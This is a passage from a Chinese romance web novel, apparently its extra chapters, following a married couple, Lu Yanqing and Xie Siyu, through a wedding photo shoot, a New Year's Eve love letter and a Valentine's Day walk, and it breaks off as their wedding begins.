她一边用手指梳理着谢思虞的长发,一边在她耳边温言细语,“该是件开心的事才对。别让任何事扰了你的心情,阿虞。” “晚意不是说S市有不少好玩的地方吗?” 陆言卿握着谢思虞的手,自然地用拇指摩挲着她柔软的指尖,“正好趁这机会,咱们去逛逛?” 难得的休假,除了拍婚纱照,她也想牵着妻子的手,好好看看风景。 “嗯。” 谢思虞应了一声,身体已经侧过来,轻轻靠进陆言卿怀里。她伸出手臂环住陆言卿的腰,脸颊在她颈窝处蹭了蹭。 心里的甜意几乎要溢出来。 能遇到陆言卿,能和她在一起,真好。 第88章 番外3 拍摄婚纱2 第二天下午四点。 S市著名景点, 古韵悠长的“栖水镇”。 一家古色古香的书吧门口,几盆多肉长得像小花一样,挤挤挨挨, 特别好看。 店里人不多, 毕竟不是旅游旺季。 靠窗的实木长桌旁, 陸言卿和謝思虞坐在铺了软垫的椅子上。 陸言卿手里翻着一本散文集,身邊的謝思虞却已经歪着头,枕着她的肩膀睡着了。 楊雪岚按着微信地址找过来, 一进门就看到了好友的身影, 自然也瞧见了靠着她肩膀睡得正香的人。 陸言卿今天穿了条带小蝴蝶结领口的赫本风小黑裙,头发松松地扎在脑后。 謝思虞则是白色长袖配黑色A字裙。 两个人样貌气质都太出挑, 难怪店里几个小姑娘躲在书架后面偷偷拍照。 楊雪岚往前走了两步,在邻桌輕輕拉开实木椅坐下,没直接过去。 因为她看见陸言卿正小心地把謝思虞滑到眼睛上的几缕碎发拨开,那样子,明显是不想吵醒她。 【准备在S市待几天?】 楊雪岚坐下来陆言卿就看到了她。 她们是大学同学,酒店那束蓝色妖姬就是楊雪岚讓员工准备的。 【不坐过来?】 陆言卿解锁手机。 杨雪岚笑着摇摇头,低头打字。 【人看到了, 跟你很配。瞧你那宝贝劲儿, 等你们拍完婚纱照再聚吧, 不打扰你们二人世界。】 几乎是同时, 陆言卿的消息也跳了出来。 【抱歉,她生理期不太舒服,有点累。】 杨雪岚微微挑眉。 她们这个圈子, 婚姻多半身不由己。 三年前听说陆言卿结婚,她还挺意外的。 现在看来,不管别人怎么说, 陆言卿下意识的小动作,还有她看身邊人的眼神,都明明白白写着“在意”。 【安啦~懂。】 杨雪岚飞快回复。 【我妈最近半年也总催我相亲。定了明年三月初结婚,对方是我认识很久的一个姑娘……嗯,我还挺喜欢她的。】 陆言卿的目光从手机移到不远处的杨雪岚身上。 多年不见,她还是一身清冷,讓人难以靠近的样子。 这样的人要结婚了? 有点好奇对方是谁。 【恭喜。】 她回道。 杨雪岚似乎还想说什么,手机响了。 她看了眼来电显示,对陆言卿擺擺手示意,便起身匆匆离开了书吧。 陆言卿目送她出去,刚收回视线,靠在她肩上的谢思虞忽然动了动,脑袋眼看就要滑下去。 赶紧伸手輕輕托住她的脸颊,低声哄道:“没事,阿虞,再睡会儿。” “唔……” 谢思虞像是被夢魇住了,猛地睁开眼,双手一下子紧紧环抱住陆言卿的腰,把脸埋进她颈窝。 心跳又快又乱,呼吸也急促起来,声音带着刚醒的沙哑:“我……我夢到你不见了……” 陆言卿一怔,随即更紧地回抱住她,手掌一下下轻缓地拍着她的后背:“是梦,阿虞,只是个梦。我在呢,一直都在。” 她的声音很轻。 “嗯。” 谢思虞闷闷地应了一声,深吸了一口气。 鼻尖萦绕着陆言卿身上淡淡的、熟悉的山茶花香,那让她心慌意乱的梦境画面——机場安检口陆言卿消失的背影才慢慢淡去。 自从陆言卿‘回来’,她很久没做这个噩梦了。 脸埋进陆言卿颈窝里蹭了蹭,慢慢平静下来。 “这是什么?” 谢思虞不想让陆言卿担心,看到实木桌上多了两个购物袋,好奇地眨眨眼。 陆言卿从包里拿出湿巾,一邊拆包装,一邊温声解释:“晚意拉着刘燕去逛街,说这家是网红甜品店,排了好长的队。阿虞要不要试试看?” “好啊。” 谢思虞眼底漾开笑意,伸手想去接湿巾。 陆言卿却已经展开湿巾,顺势握住了她伸过来的手。 店里人虽不多,但几个年轻女孩的目光时不时好奇地飘向她们这边。 谢思虞耳尖微热,想把手抽回来,却被陆言卿更紧地握住:“躲什么?” “卿卿,我自己来就好……” 她声音轻了些。 陆言卿抬眼,瞧见妻子脸上那抹熟悉的羞赧,眼底的笑意几乎要溢出来。 她没提杨雪岚来过的事,只是专注地用湿巾轻轻擦拭着谢思虞的手指,一根一根,动作又轻又柔。 “好了。” 擦完手,陆言卿才从袋子里拿出一个透明方盒。 里面是一块蓝莓慕斯蛋糕,紫色的果酱淋在上面,还缀着两颗新鲜的蓝莓。 她打开盒子,用小叉子挖起一块裹着厚厚果酱的蛋糕,小心地托在叉子下方,稳稳地送到谢思虞唇边:“晚意难得夸外面的甜品好吃,阿虞尝尝?” 谢思虞就着陆言卿的手吃下蛋糕,细腻的慕斯和酸甜的蓝莓味在嘴巴里化开。 “嗯,还不错。” 她满足地眯了眯眼,伸手想去拿陆言卿手里的叉子,“卿卿也尝尝……” 话还没说完,腰就被陆言卿轻轻一揽。 她疑惑地側过头,陆言卿的唇瓣便贴了上来。 知道妻子脸皮薄,陆言卿没有太过分,只是单手托着她的脸颊,在她柔软的唇上印下一个轻柔的吻,稍触即离。 “嗯。” 陆言卿退开一点,眼底闪着促狭又宠溺的光芒,舌尖仿佛回味般轻抵了一下自己的唇角,“确实很甜。” 这甜,显然不止是蛋糕。 谢思虞的脸颊瞬间飞红,不用看也知道书架那边的小姑娘肯定拍到了。 她在桌下用膝盖轻轻碰了碰陆言卿的腿,示意她收敛点。 晚上,有钟晚意提前踩点,一行人去了古镇口碑和菜品都极好的私房菜。 两天后。 婚纱拍攝的第一站选在了露栖原湿地公园。 这里是片自然的馈赠风景区,山坡上覆盖着郁郁葱葱的珍贵林木。 山脚下,一弯清湖静静卧着,面积不算广阔,湖水清澈见底,还能隐约看到水底下随波摇曳的水草和光滑的卵石。 阳光正好,明媚而不灼热,微风带着草木的清新气息拂过湖面,吹起層層涟漪。 美得让人移不开眼。 在钟晚意看来,这如画的风景,终究是沦为了绝佳的背景板。 她的目光牢牢锁在木板搭建的临水长廊上。 陆言卿正站在那里。 她穿着一袭优雅的鱼尾裙婚纱,精致的抹胸设计完美勾勒出肩颈线条,细腻的缎面在阳光下泛着柔和的光泽。 微卷的长发自然地披散着,几缕发丝被微风轻轻撩起。 身后是波光粼粼的清澈湖水,她只是静静立在那儿,側影便已美得惊心动魄,仿佛从画中走来。 “我的天……” 钟晚意忍不住惊叹,放下手里准备当道具的玫瑰花束,手忙脚乱地从包里掏出手机,对着陆言卿就是一阵连拍。 咔嚓咔嚓的快门声根本停不下来。 她火速把照片甩进名为“姐妹们的后花园”微信群。 瞬间炸出一片惊叹: 「这是陆总?穿婚纱也太绝了吧!」 「晚意你们在仙境吗?这背景太美了,是国内还是国外啊?」 「陆太太呢?快让我看看神仙眷侣。」 「啊啊啊陆总看我!姐姐我可以!!!」 钟晚意顾不上回复群里的尖叫,镜头一转,又对准了正款款走来的谢思虞。 谢思虞的婚纱是经典的蓬裙款式,长长的拖尾铺展在木板上,行动间裙摆如云朵般轻轻摇曳。 她的长发被精巧地盘起,覆着朦胧的洁白头纱,只露出优雅的脖颈和精致的侧脸。 当她走到陆言卿身边站定,两人相视一笑的瞬间,无需攝影师指导,那份自然流露的爱意与和谐,便已构成最完美的画面。 “阿虞,把手给我。” 陆言卿微笑着伸出手。 婚纱虽美,却也繁复沉重,即使两人都穿着舒适的平底鞋,在长廊上行走也需要格外小心。 谢思虞一手捧着那束娇艳的玫瑰,另一只手毫不犹豫地放入陆言卿掌心。 两只戴着同款戒指的手立刻紧紧相握,指尖交缠。 她们在临水长廊上拍了几组深情凝望、并肩而行的照片。 随后,拍攝場景转移到湖边开阔的茵茵草地上。 道具组的员工不知从哪里推来了一辆复古的白色自行車。 陆言卿走过去扶着自行車龙头。 谢思虞则小心地侧坐在后座,层层叠叠的婚纱裙摆像盛放的花朵堆叠在脚踏板旁。 钟晚意和另一名工作人员赶紧上前,仔细帮她们整理好散落的裙摆和头纱,确保每一处褶皱都优雅自然。 攝影师在远处比了个“OK”的手势,她们立刻笑着退开。 上午11:30。 拍摄时间结束,陆言卿和谢思虞更换了三套婚纱。 湿地公园门口的停车场。 三辆黑色大众中型SUV车并排而立。 其中一辆。 后排,陆言卿递给谢思虞一个保温杯,盖子已经拧开了,里面的水温度刚好。 连续3个小时拍摄,她眼里是藏不住的心疼:“午饭过后多休息会儿,下午的拍摄推迟到4点?” 谢思虞已经换下繁琐的婚纱,穿着舒适的长袖连衣裙,一边接过水杯,一边笑着摇头:“不用,我又不是瓷娃娃。” 她们已经推迟两天拍摄了,再说摄影师和道具组的工作人员都布置好场景,推迟时间的话可能会拍不完。 明天是在另外的地方拍摄。 “不想你太辛苦。” 陆言卿握住谢思虞的手,每更换一套婚纱,造型师就要为她们更换发型,她就是担心妻子会很累。 谢思虞眼神温柔带着笑:“拍婚纱的过程是有点辛苦,但我很幸福。” “卿卿,我很幸福。” 因为站在我身边的人是你。 第89章 番外4 情书-很甜哒 大年三十, 除夕夜。 过去两年,因为陸言卿突然“出国”且音信全无,陸家的年夜饭桌上总是笼罩着一层挥之不去的凝重。 今年, 全家人终于整整齐齐聚在一起, 最开心的莫过于两位老人。 他们兴致勃勃地给家里的小辈们都准备了新年礼物, 装在信封里放在客厅茶几上,让大家自己抽。 謝思虞作为陸家的一份子,也参与了抽礼物环节。 拆开一看, 竟是榕城南郊的一座茶厂。 她有些无措, 輕輕扯了扯身旁陸言卿的袖子,声音很輕:“卿卿, 祖父给的礼物太贵重了,我不能要。” 陆言卿笑而不语,握住妻子的手以示安撫。 年夜饭結束,两人告别长辈往老宅外走。 月色清亮,洒在小径上。 陆言卿自然地握住謝思虞的手,指腹在她手背上輕轻摩挲,帶着点安撫的意味:“覺得新年礼物太贵重?那……我和阿虞交换?” 謝思虞眼睛一亮:“好啊!” 她想起刚才抽签的情景, 陆言昭第一个抽, 拆信时表情还算满意? “陆言昭抽了辆跑车。” 陆言卿边走边说, 语气轻松, “薇薇是套公寓楼。至于我嘛……” 她故意顿了顿,侧过头冲着謝思虞俏皮地眨眨眼,路灯的光晕染在她帶笑的唇角。 祖父是个“老滑头”, 嘴上说着全凭运气,其实晚饭前早给几个孙辈“透了风”,包括她。 不然, 哪能这么巧都抽到心仪的礼物? “卿卿抽到了什么?” 谢思虞好奇心被勾起,双手握住陆言卿的手臂,微微摇晃,仰着臉看她,眉眼弯弯。 陆言卿被她这模样逗乐,伸出手指,帶着宠溺轻轻刮了下她的鼻尖:“是A市的温泉馆。阿虞想跟我换这个?” “啊?这……” 谢思虞连忙摇头。 前两年除夕,祖父也给过她礼物,都被她婉拒了。 没想到今年的礼物都这么“实在”,让她有些受宠若惊。 似乎看穿了妻子的心思,陆言卿捏了捏她微凉的手指,温声解释:“今年爺爺特别高兴,就格外大方些。阿虞安心收着就好。” 不然老爺子再阔绰,也经不起年年这么送。 两人走到停着的宾利车旁。 陆言卿没有立刻上车,而是拉开后车门,拿出一个精致的红色丝绒购物袋:“阿虞,今年是我们一起过的第一个新年,我也有礼物给你。” 打开礼盒,里面是一条莹润的珍珠项链,吊坠处镶嵌着一颗剔透的粉钻。 旁边路灯柔和的光线下,珍珠泛着温润的光泽,粉钻则折射出細碎的星芒,美得令人屏息。 今晚的谢思虞穿着酒红色的方领连衣裙,长发用一枚同色系的蝴蝶結松松挽在脑后,外面是米色的羊绒大衣。 端庄又温婉。 她颈间原本戴着一条纤細的铂金钻石项链。 “真漂亮。” 谢思虞眼底是毫不掩饰的惊喜,她一直偏爱珍珠的温润,没想到陆言卿连这个都留意到了。 “卿卿帮我戴上,好不好?” 她轻声问,帶着点期待。 “好。” 陆言卿笑着点头,“阿虞转过去?” 谢思虞依言微微侧身,背对着她。 陆言卿先小心地解开她颈后铂金项链的搭扣,温热的指尖无意间擦过细腻的肌肤。 然后才取出那条珍珠项链,冰凉的珠链贴上皮肤,带来一丝微痒。 她的动作很轻,手指灵巧地找到搭扣,扣好。 “好了。” 陆言卿话落的同时拿出包里的手机,打开前置摄像头,凑近谢思虞,“阿虞看看,喜欢吗?” 谢思虞抬手,指尖抚过颈间圆润冰凉的珍珠,唇角扬起甜蜜的弧度:“很喜欢,卿卿的眼光真好。” 陆言卿从后面拥住了谢思虞,下巴轻轻搁在她的肩上,臉颊亲昵地蹭了蹭她的鬓角,然后伸长手臂,举着手机。 屏幕里映出两人依偎的臉庞,陆言卿的食指轻轻一点,将这一刻定格。 “不是我眼光好。” 陆言卿的声音带着笑意,温热的气息拂过谢思虞的耳畔,“是我的阿虞很漂亮,戴什么都好看。” 说完,她侧过头,一个轻柔的吻便落在了谢思虞的脸颊上,眼中是化不开的柔情。 40分钟后。 两人回到了华晨里的公寓。 榕城有个老习俗,除夕夜临近零点时,满城都会燃起绚烂的烟火。 今晚,陆言卿想和谢思虞一起守岁。 “离零点还有差不多两个小时。” 陆言卿提议,声音带着居家的放松,“看部电影怎么样?” 江海澜苑的公寓没有专门的观影室,但华晨里这套有。 这也是陆言卿特意带妻子来这里守岁的原因之一。 “好啊。” 谢思虞应着,走到厨房打开冰箱门,从里面拿出两盒酸奶,“卿卿有想看的电影吗?” 中岛台旁,陆言卿正站在水槽前清洗一串紫莹莹的葡萄。 旁边的玻璃碗里已经有洗得干干净净、还挂着水珠的苹果和橙子,她打算做个简单的餐后水果沙拉。 客厅的茶几上,散落着开心果、杏仁等各色坚果和几包小零食,都是昨天傍晚她们一起逛超市时精心挑选的。 “等会儿挑部口碑不错的喜剧片吧。” 陆言卿关掉水龙头,水流声戛然而止,她抽了两张厨房紙巾,仔细擦干手上的水珠。 忽然想起在老宅时,奶奶悄悄拉着她说的话。 「言卿啊,奶奶这腿脚,今年怕是爬不上青山寺那高高的台阶了。」 「你没在的这几年,思虞大年初二都雷打不动陪奶奶去寺里烧香拜佛。奶奶是老了,可看人的眼光还在。」 「思虞这孩子啊,原本是不信这些的,却肯为了你,在佛前一跪就是那么久,诚心诚意地求个平安,这份心意,太难得了。」 陆言卿的心像被什么轻轻撞了一下,她看向正拧着酸奶瓶盖的谢思虞,轻声问:“阿虞,今年初二你还想去城西的青山寺吗?想去的话,我陪你。” 谢思虞拧盖子的手几不可察地停顿了一下,眼帘低垂,长长的睫毛在眼下投下一小片阴影。 再抬起眼时,眸子里已是一片温软的柔光:“要去的。” 陆言卿“平安”归来,她理应去寺庙还愿。 看着妻子眼中那份沉静而坚定的温柔,陆言卿心头百感交集,喉间仿佛堵着什么。 她抿了抿唇,最终什么也没多说,只是自然地倾身过去,在谢思虞温软的唇上印下一个轻柔而珍重的吻。 “好。” “我陪阿虞一起去。” 11点50分。 窗外,煙花升空的“砰砰”声此起彼伏地响起。 陆言卿按下了电影的暂停键,牵起谢思虞的手,带她走到客厅巨大的落地窗前。 漆黑的夜空被点亮,一朵朵、一簇簇煙花争先恐后地绽放开来,五彩斑斓,绚烂夺目,将夜幕装点得如同梦幻的画卷。 陆言卿手臂收拢,将谢思虞轻轻拥入怀中,声音温柔而清晰:“阿虞,新年快乐。以后每年除夕夜,我都陪你一起守岁,一起看烟花。” 谢思虞放松身体,向后靠进这个温暖的怀抱,后脑勺轻轻抵着陆言卿的肩膀。 她弯起唇角,眼底映着窗外的流光溢彩,带着点俏皮:“好呀,卿卿说话要算数哦。” 落地窗映出她们相拥的画面,去年的除夕夜毫无预兆地浮现在脑海。 空荡荡的公寓客厅,只有她一个人。 窗外同样是喧闹的烟花,屋里却冷清得可怕。 本该是万家团圆、最热闹温暖的时刻,她的妻子在哪里? 只要一想到陆言卿,心就像被生生挖去一块,空落落的,只剩下无边无际的冷风往里灌。 那晚,她喝了好多酒,一瓶接一瓶,直到视线模糊,意识沉沦,最后蜷缩在地板上昏睡过去。 第二天清晨醒来,阳光刺眼,身边依旧空无一人,只有宿醉的头痛。 “我答应阿虞。” “会一直在的。” 陆言卿不知道怀里的人此刻想起了什么,只覺得环抱着的身躯似乎有一瞬间不易察觉的僵硬。 再低头看时,竟捕捉到谢思虞眼底一闪而过的、近乎空洞的绝望。 心口猛地一揪,尖锐的心疼瞬间淹没了所有其他情绪。 陆言卿几乎是本能地收紧手臂,一手牢牢环住谢思虞的腰,另一只手稳稳托住她的后颈,没有任何犹豫,低头便覆上那两片柔软的唇。 起初是带着安抚的轻触,随即情难自禁地加深。 舌尖温柔又急切地探入,与她纠缠,仿佛要吸走她所有的不安。 直到谢思虞的呼吸变得急促,脸颊染上动人的红晕,陆言卿这才恋恋不舍地稍稍退开一点,唇瓣依然流连地含吻着谢思虞微肿的下唇。 “阿虞……” 陆言卿的声音带着未平息的喘息,温热的气息拂在谢思虞的唇畔,语气温柔却异常坚定,“我答应你,不会再离开。永远不会。” 凌晨两点。 主卧里,宽大柔软的床上。 听着身边谢思虞均匀平稳的呼吸声,陆言卿小心翼翼地掀开被子坐起身。 房间里弥漫着淡淡的橙花熏香,连带着被子和她的睡裙上也沾染了这温暖安宁的气息。 陆言卿唇角微弯,轻手轻脚地离开房间,走进了隔壁的书房。 她在书桌前坐下。 夜色深沉,万籁俱寂。 许久,她只是静静坐着。 流逝的时间无法追回,她唯一能做的,就是用余生的每一刻去好好爱谢思虞、珍重她,爱护她。 又过了大约十分钟。 陆言卿站起身,走到打印机旁,从紙盒里抽出两张崭新的A4紙。 她回到书桌前坐好,从筆筒里取出一支钢筆。 这支笔,还是父亲送给她的成人礼物,握在手中,沉甸甸的。 她拧开笔帽,笔尖悬在洁白的紙页上方,片刻后,终于落笔…… 次日清晨,温暖的阳光透过窗帘缝隙洒进房间。 谢思虞悠悠转醒,习惯性摸了摸身侧的位置,陆言卿不在,但还有余温,她应该也是刚起。 “嗯?” 她撑着手臂坐起来,瞥了眼床头的电子钟,七点十五分。 正要下床穿拖鞋,目光却被床头柜上两张写满字的纸吸引。 她好奇地拿起来。 只看了第一行字,身体便不自觉地绷紧了。 「阿虞,很抱歉婚后就“消失”在你的世界,徒留你独自面对我家人的指责,外界的流言蜚语,甚至还包括集团的明争暗斗。 回来后我好像总是在跟你说对不起,可除了抱歉,我真的不知道该说什么。 当初爺爷用集团继承人的位置逼我去相亲,发到我微信上的世家千金照片都差不多,没什么特别。 但很奇怪,我一眼就记住了你。 决定跟你結婚,一开始是有些冲动在里面,我被爷爷胁迫,不得已而为之,而你被谢家推出来联姻,好像也身不由己。 晚意说你有暗恋多年的人,那一刻,我竟然感觉到轻松。 之所以和你签订协议,三年后离婚,是我深思熟虑的结果。 原本我想的是等我正式接手集团,得到董事们的认可,爷爷也不便再插手我的私人感情。 那时我就放你“自由”。 将无辜的你牵扯进来,我很愧疚,才会在协议上写下一系列的补偿条款。 偏偏天不遂人愿。 我突然穿越时空,再睁眼就到了三年后,让你替我承受了不该承受的“集团重担”。 回来得知集团发展的很好,可你的身体却不堪重负,胃病,严重失眠。 我承认很愧疚,也很自责。 根本不知道该怎样弥补你。 为了稳住爷爷的情绪。 我又私心与你延长了两年的婚约。 最初我并不明白你答应续签协议的原因。 事后我想要提前结束我们这段名不副实的婚姻,可你却不愿意。 还告诉我【你喜欢的姑娘】结婚了。 那晚,我的心情复杂得难以形容。 渐渐地,在朝夕相处中,我慢慢被你吸引,目光总是不由自主地落在你身上。 「陆言卿,你履行过一天妻子的义务和责任吗?我凭什么把这个位子还给你。」 当你红着眼眶这样质问我的时候,那一刻,我的心揪着疼。 是啊,凭什么? 凭什么什么好处都让我占了? 「我要你从今天开始爱我。」 阿虞说这话的时候,我整个人都是懵的,怕自己听错,又怕自己会错你的意思。 直到阿虞主动吻了我。 我知道你想要跟我好好过以后的日子,真的很愉悦,特别的开心。 我们虽结婚三年,可真正相处的日子却仅有几个月,也难怪晚意会误会。 她怕我没有看清自己的心意。 可我又怎会那般糊涂? 阿虞总说我人很好,可阿虞不知道,你自己也是极好的姑娘。 喜欢你,对你动心。 仅是时间问题而已。 再后来。 得知阿虞惴惴不安,惶恐绝望的原因竟然是因为我,除了心疼外,我更怨恨自己。 当年为什么不再细心一点。 又或者应该当面告诉你:“过敏一事,我从未怪过你。” 原来我也会嫉妒。 嫉妒那个被阿虞放在心里很多年的人。 我努力说服自己不要介意,可每每听到旁人说起,还是会控制不住去嫉妒。 那晚在秦老夫人孙女的生日宴,我喝了酒,借着酒意不顾阿虞的意愿做了那样的事。 没想到却是自己醋自己。 阿虞的演技已然炉火纯青,我竟一点没有察觉。 是啊,我何德何能,能得阿虞惦念喜欢,整整7年。 唯一想要说的便是:“谢谢阿虞喜欢我,谢谢阿虞没有放弃喜欢我。” 陆言卿此生,能得阿虞为妻,满心欢喜。」 谢思虞一字一句看完那两张手写的信纸,眼眶早已通红,滚烫的泪水不受控制地涌出,像断了线的珠子,“啪嗒”一声落在纸页上。 墨迹瞬间晕开一小团模糊的湿痕。 她眼底闪过一丝慌乱,急忙伸出手指去擦,可指尖带着泪水的湿意,又因为心慌没控制好力道,反而让那墨痕洇得更开,纸张也被揉搓得起了褶皱。 “哎呀……” 她懊恼地低呼,气自己笨手笨脚,眼泪却流得更凶。 情急之下,她只能把信纸紧紧按在心口,又仰起脸,拼命想把眼泪憋回去。 “卿卿……” 就在这时,眼角的余光瞥见了那个熟悉的身影正朝她走来。 这一眼,彻底击溃了她强撑的情绪防线,鼻尖一酸,所有的委屈和汹涌的爱意再也关不住。 她慌忙把纸放回床头柜,甚至顾不上穿鞋,光着脚就踩在微凉的地板上,不管不顾地扑进了陆言卿怀抱里。 纤细的双臂用尽全力环抱住陆言卿的腰,仿佛那是唯一的依靠。 她把脸深深埋进对方温暖的胸口,那些被深藏、被压抑的委屈、等待的酸楚、失而复得的后怕,此刻都找到了宣泄的出口。 她哭得整个身体都在陆言卿怀里微微发颤。 陆言卿刚给云膳坊打完订餐电话,进屋就看到妻子坐在床边对着信纸落泪的样子,心像被一只无形的手攥紧了。 她明白谢思虞是看了她写下的那些话。 她的本意是想倾诉爱意与歉意,而非惹她伤心。 “阿虞,别哭了……” 陆言卿的声音带着心疼的哑,手臂收拢,将她更深地拥在怀中,手掌一下下温柔地抚过她颤抖的脊背。 “我喜欢卿卿。” 谢思虞带着浓重鼻音的声音闷闷响起,双臂收得更紧,仿佛要将自己所有的依恋和确认都通过这个拥抱传递过去,“也从未后悔过。” “我知道。” 陆言卿等怀里的妻子情绪稍稍平复,才牵着她的手来到床边,让她坐下,蹲下身帮她把拖鞋穿上。 就着这个姿势抬头,动作轻柔帮她把脸上的泪水擦掉,嗓音轻柔:“这些年让阿虞受了很多委屈,往后再也不会了。” 第90章 番外5 婚礼 2月14日, 情人节。 榕城气溫骤降,连绵的阴雨下了好几天,空气里都透着湿冷。 晚上8点。 陸言卿和謝思虞从一家私房菜馆出来。 雨总算停了, 但街道湿漉漉的, 路灯在水洼里投下細碎的光影。 “阿虞想走走吗?想的话, 把围巾围好。” 陸言卿看了眼腕表,时间还早。 她们在人民广场附近,也许因为是情人节, 雨一停, 街上的人渐渐多了起来。 謝思虞转过身,正对着陸言卿, 眉眼含笑,把手里的白色羊絨围巾遞过去,声音溫软:“卿卿帮我戴?” “好。” 陸言卿宠溺地应了一声,很自然地把自己的手提包遞给謝思虞,接过围巾。 她动作輕柔地撩开謝思虞颈后微凉的长发,仔細将围巾一圈圈围好。 指尖不经意碰到谢思虞的耳廓,有点凉。 陆言卿微微蹙眉, 有点犹豫要不要真走路去广场, 从这里过去, 少说也得走二十分钟。 “别担心, 我不冷的。” 谢思虞察觉到陆言卿的顾虑,伸手握住她的手,一起塞进自己羊絨大衣溫暖的口袋里, 仰着脸对她笑,“走一走就暖和了。” 陆言卿不想扫她的兴,在口袋里回握住那只微凉的手, 十指相扣。 “好,那走吧。” 两人沿着湿漉漉的人行道并肩而行,路过一家花店,正巧看到一对年輕情侣在买花。 陆言卿想起自己办公室里那束早上就送给谢思虞的红玫瑰,脚步顿了顿。 “阿虞等我一下。” 她松开手,朝谢思虞笑了笑,转身走进了花店。 几分钟后,她捧着一小束花出来。 不是常见的红玫瑰大捧,而是几支柔嫩的粉色玫瑰,搭配着几朵熱烈却不张扬的红色郁金香,间或点缀着清新的白色洋甘菊,小巧又别致。 “卿卿不是早上就送过了吗?” 谢思虞看着递到眼前的花束,有些哭笑不得,眼底的笑意漾荡开来。 陆言卿把花放进谢思虞空着的左手里,重新牵起她的右手,语气带着点理所当然的笑意:“因为还想再送一次啊。” 她们一路走来,街上沉浸在爱河里的女孩们,手里几乎都捧着花。 谢思虞低头,鼻尖輕輕蹭过郁金香丝絨般的花瓣。 花香很淡,清雅宜人。 别人收到花是什么心情她不知道,但她喜欢,喜欢收到陆言卿送的花,无论何时何地。 其实她们公寓里,花瓶里的鲜花从未断过。 有时是几支明媚的向日葵,有时是娇俏的粉色芭比玫瑰,有时是芬芳的百合。 都是陆言卿准备的。 “谢谢卿卿。” 谢思虞心满意足地把脑袋亲昵地靠在陆言卿肩头,又忍不住踮起脚尖,飞快地在她脸颊上啄了一下。 以前她也曾幻想能和陆言卿手牵手在街上闲逛,哪怕只是说些没营养的废话,都觉得是天大的幸福。 现在,梦实现了。 两人继续往前走。 空气中飘来一阵淡淡的、熟悉的甜香,是熬糖的味道。 “糖葫芦?” 陆言卿吸了吸鼻子。 果然,没走多远,就看到一家糖葫芦小店,门外排着老长的队,在情人节的夜晚格外显眼。 “我们也去排队?” 谢思虞其实不太爱吃太甜的东西,但知道陆言卿喜欢。 她轻轻晃了晃两人牵着的手,拉着陆言卿站到了队伍末尾。 陆言卿抿唇笑了笑,没反对。她知道阿虞排队不是为了自己想吃,是为了她。 排在前面的也是一对小情侣。 穿着白色羽绒服的女孩一直低着头,闷闷不乐的。 旁邊比她高出半个头的女生正小声哄着:“对不起嘛,我真不是故意迟到的。主管临下班才塞给我一堆资料要整理,我緊赶慢赶还是没赶上公交,这不赶緊打车过来了吗?” 白羽绒服女孩嘟囔着:“你就是没把我放在心上。” 她对象叹了口气,一脸无奈,见女朋友眼眶都红了,伸手想抱抱她,结果被躲开了,一时僵在那里,有点手足无措。 谢思虞看着她们鬧别扭,抬头看了看身邊的陆言卿,凑到她耳邊,压低声音带着点好奇:“好像都没见过卿卿生气的样子?” 陆言卿愣了一下,刚才前面小情侣的动静她也注意到了,没想到谢思虞会突然问这个。 她收起手机,认真想了想:“可能我比较习惯直接‘解决问题’?” 她想起小时候父母闹矛盾。 两人都是高知,教养极好,就算有分歧也从不大吵大闹。 但母亲习惯冷处理,父亲也拉不下脸解释,结果就是陷入漫长的冷战,十天半个月互不说话是常事。 奶奶就叮嘱过她,千万别学父母那样把嘴当摆设。 不管是家人、朋友还是同事,相处久了难免有摩擦。 “这种时候就得‘沟通’。”陆言卿捏了捏谢思虞的指尖,语气平和,“不能等事情鬧大了才想着解决。” 她还想多说两句,队伍已经排到她们了。 情人节糖葫芦生意特别好。 忙了一晚上的老板娘本来有点烦躁,抬眼看到两个特别漂亮的姑娘,脸上立刻堆起了笑,熱情招呼:“两位美女想吃点什么?草莓和小番茄的是酸甜口,山药豆比较软糯,这邊还有红豆馅、芋泥馅的糖葫芦,都好吃。” 陆言卿看着玻璃柜里琳琅满目的糖葫芦,眼睛亮了亮,难怪这么多人排队,光看着就诱人。 “阿虞想吃什么?” 她转头问。 “种类太多了。” 谢思虞笑着对老板娘说,“麻烦您帮我们挑几样卖得最好的口味吧?” “行,没问题!” 老板娘爽快地应下。 很快,陆言卿扫码付了钱,接过老板娘递来的纸袋。 她从里面拿出一串裹着亮晶晶糖衣的山药豆糖葫芦,自然地递到谢思虞嘴边:“看买的人挺多,应该不错,阿虞尝尝?” 谢思虞就着陆言卿的手,轻轻咬下一颗。 外面薄脆的糖壳在齿间碎裂,里面软糯的山药豆带着淡淡的甜香,口感很好。 “嗯,好吃。” 她满足地眯起眼,也拿起一串递向陆言卿,“卿卿也吃。” 如果不是亲眼所见,谁能想到榕城首富陆家的千金大小姐,会陪着妻子在街边小店排队,就为吃糖葫芦呢? 华康私立医院心理科的主治医生餘霁,刚结束一场相亲晚餐,正独自站在路边等网约车。 目光不经意扫过马路对面,却意外捕捉到两个熟悉的身影。 她和谢思虞有大半年没见了,这意味着困扰谢思虞许久的失眠,大概是真的好了。 看着那对依偎在一起的身影,餘霁嘴角不自觉弯了弯。 爱情这东西,有时候还真挺神奇的。 “好像是余医生。” 陆言卿察觉到一道视线,抬眼望向马路对面。 正好一辆白色网约车靠边停下,余霁拉开车门坐进了后排。 谢思虞用湿巾仔細擦掉指尖沾的糖渍,顺着陆言卿的目光看去,只来得及瞥见一个侧脸。 “是余医生。” 她肯定地说。 之前被失眠折磨,她每周都要去医院找余霁针灸、开安眠药。 “有我在,阿虞当然不会失眠。” 陆言卿像是想到什么,眼中掠过一丝促狭的笑意。 她凑近谢思虞耳边,溫熱的气息拂过敏感的耳廓,压低的嗓音带着点暧昧的沙哑,“我只会讓阿虞累得……直接睡着。” 谢思虞瞬间反应过来她在说什么混账话,耳尖“腾”地一下染上绯红。 她羞恼地拍了下陆言卿的手背,加快脚步就往前走。 前方是十字路口。 人行道的红灯正倒数着最后几秒。 陆言卿笑着追上去,伸手想去牵谢思虞的手,被躲开了也不在意。 下一秒,手臂就自然地环上了对方纤细的腰肢。 “卿卿放开,不给抱。” 谢思虞扭着身子想挣脱。 红灯跳转成绿色。 等候在两侧的人群开始有序地穿过马路。 陆言卿瞅准时机,一把牢牢握住谢思虞试图抽走的手,稍微用了点力不讓她挣脱,声音里带着点哄劝的笑意:“我错了好不好?阿虞乖,过马路呢,别鬧。” 谢思虞佯装生气地瞪了她一眼,但到底没再挣扎,任由那只温热的手緊紧牵着自己。 两人随着人流,一起踏上了斑马线,慢慢走向马路对面。 农历四月初三。 这是祖母特意拿着陆言卿和谢思虞的生辰八字,请大师精心挑选的黄道吉日。 两人的婚礼在榕城最顶级的澜庭酒店举行。 